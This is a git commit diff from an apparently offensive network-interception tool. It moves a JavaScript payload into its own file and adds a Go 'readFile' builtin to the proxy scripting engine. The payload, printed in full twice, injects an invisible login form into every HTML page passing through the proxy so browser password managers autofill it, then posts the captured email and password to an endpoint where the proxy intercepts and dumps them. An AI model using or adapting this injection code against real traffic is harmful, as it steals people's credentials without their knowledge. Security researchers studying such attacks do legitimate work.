refact: exposing readFile builtin function to proxy scripts.

This commit is contained in:
evilsocket 2018-01-08 10:33:31 +01:00
commit 493867be6b
3 changed files with 95 additions and 60 deletions

View file

@ -9,66 +9,12 @@
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request.
* - Intercept request, dump credentials, drop client to 404.
*/
var AbuserJavascript =
'var injectForm = function(visible) {' + "\n" +
' var container = document.createElement("div");' + "\n" +
' if (!visible){' + "\n" +
' container.style.display = "none";' + "\n" +
' }' + "\n" +
' var form = document.createElement("form");' + "\n" +
' form.attributes.autocomplete = "on";' + "\n" +
' var emailInput = document.createElement("input");' + "\n" +
' emailInput.attributes.vcard_name = "vCard.Email";' + "\n" +
' emailInput.id = "email";' + "\n" +
' emailInput.type = "email";' + "\n" +
' emailInput.name = "email";' + "\n" +
' form.appendChild(emailInput);' + "\n" +
' var passwordInput = document.createElement("input");' + "\n" +
' passwordInput.id = "password";' + "\n" +
' passwordInput.type = "password";' + "\n" +
' passwordInput.name = "password";' + "\n" +
' form.appendChild(passwordInput);' + "\n" +
' container.appendChild(form);' + "\n" +
' document.body.appendChild(container);' + "\n" +
'};' + "\n" +
'' + "\n" +
'var doPOST = function(data) {' + "\n" +
' var xhr = new XMLHttpRequest();' + "\n" +
'' + "\n" +
' xhr.open("POST", "/login-man-abuser");' + "\n" +
' xhr.setRequestHeader("Content-Type", "application/json");' + "\n" +
' xhr.onload = function() {' + "\n" +
' console.log("Enjoy your coffee!");' + "\n" +
' };' + "\n" +
'' + "\n" +
' xhr.send(JSON.stringify(data));' + "\n" +
'};' + "\n" +
'' + "\n" +
'var sniffInputField = function(fieldId){' + "\n" +
' var inputElement = document.getElementById(fieldId);' + "\n" +
' if (inputElement.value.length){' + "\n" +
' return {fieldId: inputElement.value};' + "\n" +
' }' + "\n" +
' window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms' + "\n" +
'};' + "\n" +
'' + "\n" +
'var sniffInputFields = function(){' + "\n" +
' var inputs = document.getElementsByTagName("input");' + "\n" +
' data = {};' + "\n" +
' for (var i = 0; i < inputs.length; i++) {' + "\n" +
' console.log("Will try to sniff element with id: " + inputs[i].id);' + "\n" +
' output = stringsniffInputField(inputs[i].id);' + "\n" +
' data = Object.assign({}, data, output);' + "\n" +
' }' + "\n" +
' doPOST(data);' + "\n" +
'};' + "\n" +
'' + "\n" +
'var sniffFormInfo = function(visible) {' + "\n" +
' injectForm(visible);' + "\n" +
' sniffInputFields();' + "\n" +
'};' + "\n" +
'' + "\n" +
'sniffFormInfo(false);';
var AbuserJavascript = "";
function onLoad() {
console.log( "Loading abuser code from caplets/login-man-abuser.js" );
AbuserJavascript = readFile("caplets/login-man-abuser.js")
}
// here we intercept the ajax POST request with leaked credentials.
function onRequest(req, res) {
@ -88,6 +34,7 @@ function onRequest(req, res) {
function onResponse(req, res) {
if( res.ContentType.indexOf('text/html') == 0 ){
var body = res.ReadBody();
console.log(AbuserJavascript);
if( body.indexOf('</head>') != -1 ) {
res.Body = body.replace(
'</head>',

View file

@ -0,0 +1,71 @@
/*
* Ref.
* - https://github.com/evilsocket/bettercap-proxy-modules/issues/72
* - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/
*
* The idea:
*
* - On every html page, inject this invisible form who grabs credentials from login managers.
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, well intercept this request.
* - Intercept request, dump credentials, drop client to 404.
*/
var AbuserJavascript =
var injectForm = function(visible) {
var container = document.createElement("div");
if (!visible){
container.style.display = "none";
}
var form = document.createElement("form");
form.attributes.autocomplete = "on";
var emailInput = document.createElement("input");
emailInput.attributes.vcard_name = "vCard.Email";
emailInput.id = "email";
emailInput.type = "email";
emailInput.name = "email";
form.appendChild(emailInput);
var passwordInput = document.createElement("input");
passwordInput.id = "password";
passwordInput.type = "password";
passwordInput.name = "password";
form.appendChild(passwordInput);
container.appendChild(form);
document.body.appendChild(container);
};
var doPOST = function(data) {
var xhr = new XMLHttpRequest();
xhr.open("POST", "/login-man-abuser");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onload = function() {
console.log("Enjoy your coffee!");
};
xhr.send(JSON.stringify(data));
};
var sniffInputField = function(fieldId){
var inputElement = document.getElementById(fieldId);
if (inputElement.value.length){
return {fieldId: inputElement.value};
}
window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms
};
var sniffInputFields = function(){
var inputs = document.getElementsByTagName("input");
data = {};
for (var i = 0; i < inputs.length; i++) {
console.log("Will try to sniff element with id: " + inputs[i].id);
output = stringsniffInputField(inputs[i].id);
data = Object.assign({}, data, output);
}
doPOST(data);
};
var sniffFormInfo = function(visible) {
injectForm(visible);
sniffInputFields();
};
sniffFormInfo(false);;

View file

@ -57,6 +57,23 @@ func LoadProxyScript(path string, sess *session.Session) (err error, s *ProxyScr
return
}
// define builtins
s.VM.Set("readFile", func(call otto.FunctionCall) otto.Value {
filename := call.Argument(0).String()
raw, err := ioutil.ReadFile(filename)
if err != nil {
s.sess.Events.Log(session.ERROR, "Could not read %s: %s", filename, err)
return otto.Value{}
}
v, err := s.VM.ToValue(string(raw))
if err != nil {
s.sess.Events.Log(session.ERROR, "Could not convert to string: %s", err)
return otto.Value{}
}
return v
})
// run onLoad if defined
if s.hasCallback("onLoad") {
_, err = s.VM.Run("onLoad()")